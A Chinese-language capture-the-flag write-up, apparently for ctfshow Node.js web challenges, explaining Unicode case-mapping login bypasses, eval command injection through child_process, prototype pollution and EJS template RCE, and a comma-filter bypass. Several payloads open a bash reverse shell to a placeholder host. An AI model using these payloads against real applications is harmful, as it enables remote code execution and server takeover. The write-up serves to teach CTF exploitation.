在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以用ctfſhow 123456登录就可以出flag了
猜测题目中的代码为eval('console.log(xxx)')
xxx为我们传入的内容,eval中可以执行js代码,那么就可以执行系统命令了。
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
payload:a[x]=1&b[x]=2
运行如下代码
a={
'x':'1'}
b={
'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
两个都会打印出[object Object]flag{xxx},所以他们的md5也是一样的了。
有同学可能会问为什么传a[0]=1&b[0]=2不行呢,因为当我们这样传的时候相当于创了个变量a=[1] b=[2]
a=[1]
b=[2]
a=[1]
b=[2]
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
打印出来的结果是1flag{xxx}和2flag{xxx}
原型链污染漏洞,参考链接https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
重点在这个地方
只要满足secert.ctfshow==='36dboy’就可以了,前面有一个copy函数,可以与链接文章里面的merge函数类比.
登录的时候抓包,修改post的内容
payload:{"__proto__":{"ctfshow":"36dboy"}}
非预期解
ejs rce具体的来看下大佬写的文章https://xz.aliyun.com/t/7184
payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}
接着post访问api.js就可以反弹shell了
预期解
变量覆盖
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user ={
}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);
运行上面的方法会发现query有了新的值
payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}
和上面的题基本类似,但是需要向上污染两级
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
body=JSON.parse('{"__proto__":{"__proto__":{"query":"123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(user.query);
运行后会发现user.query输出的是123,说明我们成功污染了两级,
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}
预期解ejs rce
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}
然后再随便访问一下页面就能触发rce
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
根据源码我们正常情况下需要传?query={"name":"admin","password":"ctfshow","isVIP":true}
但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。
payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。